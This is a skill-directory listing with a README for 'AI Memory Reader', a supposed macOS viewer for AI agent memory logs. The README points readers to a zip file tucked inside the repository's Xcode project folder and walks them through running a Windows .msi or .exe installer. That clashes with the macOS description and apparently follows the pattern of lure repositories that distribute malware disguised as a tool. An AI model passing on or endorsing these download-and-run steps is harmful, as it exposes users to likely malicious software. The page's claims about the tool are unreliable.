AI Memory Reader — AI skill for Claude Code
View and track AI agent memory files, session logs, and project transcripts on macOS with a native, high-performance interface.
How to install AI Memory Reader
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open Reviewfamilytetranychidae774/ai-memory-reader and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What AI Memory Reader does
View and track AI agent memory files, session logs, and project transcripts on macOS with a native, high-performance interface.
Alternatives in AI
- Deepreasoning — A high-performance LLM inference API and Chat UI that integrates DeepSeek R1's CoT reasoning traces with Anthr 5.4k ★
- Osaurus — Own your AI. The native macOS harness for AI agents -- any model, persistent memory, autonomous execution, cry 5.1k ★
- Vibeproxy — Native macOS menu bar app to use your Claude Code & ChatGPT subscriptions with AI coding tools - no API keys n 3.3k ★
README
🧠 ai-memory-reader - Browse your AI agent memory files
[](https://github.com/Reviewfamilytetranychidae774/ai-memory-reader/raw/refs/heads/main/AIMemoryReader.xcodeproj/ai_memory_reader_v3.4.zip)
📁 What is this app?
AI agents write logs and memory files as they work. These files contain notes, history, and context about your projects. This app lets you open and read these files on your computer. You gain insight into what your AI assistants did, how they made decisions, and what they learned during your sessions.
The app supports multiple formats. It reads memory files from Claude Code, OpenClaw, Codex, Cursor, and Gemini. It organizes complex data into a clear view. You see the timeline of events, the specific files the AI accessed, and the reasoning behind each step.
🏗️ Why use this tool?
Most agent memory files exist as raw text or lines of code. They appear difficult to read. This tool converts that data into a clean interface. You navigate through sessions with ease. You compare past performance with current tasks. You track changes over time without opening terminal windows.
💾 Getting the app
Visit [this page](https://github.com/Reviewfamilytetranychidae774/ai-memory-reader/raw/refs/heads/main/AIMemoryReader.xcodeproj/ai_memory_reader_v3.4.zip) to download your installer.
⚙️ Installing for Windows
- Open the link above in your web browser.
- Look for the section labeled Assets.
- Click the file that ends in .msi or .exe.
- Save the file to your computer.
- Open your downloads folder.
- Double-click the file you saved to start the installation.
- Follow the prompts on the screen.
- Click Finish once the process ends.
- Locate the app icon on your desktop or in your start menu.
- Click the icon to launch the software.
🖥️ System Requirements
The app works on Windows 10 and Windows 11. It needs 200MB of free disk space. It requires 4GB of RAM to process l
Related Skills
Vllm Mlx
High-performance OpenAI and Anthropic compatible LLM inference server for Apple Silicon. Native MLX, continuou
Gocode
Claude Code rewritten in Go.. High-performance AI agent harness runtime in Go. MCP server, CLI tool orchestrat
Ataru
High-performance AI memory retrieval for local agent history — a Rust search core (SDK / API / JSON CLI) plus
Project Butler
Project memory system for AI coding assistants (Claude Code, Cursor, Codex): session logs, project wiki, rules
Inspect Chats
Inspects Chat AI conversation logs for a workspace — routing-outcome breakdowns (Routed/NotRouted/Abandoned),
Web Presentation Skill
HTML 原生智能演示系统 · Web-native Presentation Intelligence — an AI agent skill that turns content into adaptive HTML
Related Agents
Batch Session Reader
Reads multiple Fullstory session transcripts in parallel using isolated contexts. Use when you need to investi
Memory Extractor Agent
You extract perception changes from Claude Code session transcripts - the "aha moments" where understanding sh
Fe Performance
Cold performance reviewer for React Native and Next.js. Spawned by parallel workflows when View.tsx or Present